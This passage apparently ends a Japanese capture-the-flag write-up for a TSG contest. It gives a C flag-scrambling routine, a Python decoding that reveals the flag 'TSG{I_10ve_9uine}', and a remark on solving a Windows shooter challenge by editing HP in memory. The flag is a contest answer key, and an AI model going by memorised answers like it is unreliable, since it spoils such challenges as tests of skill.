unsigned int myrand(){
    iv = (iv * 314 + 159) % 265358;
    return iv;
}
int main(void) {
    for (; cnt != 0; cnt--) {
        unsigned int p,q;
        p = myrand();
        q = myrand();
        flag[p % FLAGLEN] ^= (q & 255);
    }
    int i;
    for(i=0;i<FLAGLEN;i++){
        printf("%d, ",flag[i]);
    }
    return 0;
}

In [1]: l = [84, 83, 71, 123, 73, 95, 49, 48, 118, 101, 95, 57, 117, 105, 110, 101, 125]

In [2]: ''.join(map(chr, l))
Out[2]: 'TSG{I_10ve_9uine}'

TSG shooter

windows PE32 バイナリ。絵が綺麗だから入れたらしい。普通にうさみみハリケーンでHPを書き換えたらいける。windows立ち上げるのがしんどい

f:id:moratorium08:20181204025519p:plain

最後に

くっきーさん、satosさん作問お疲れ様でした。楽しかったです。

TSGCTF開けるといいですね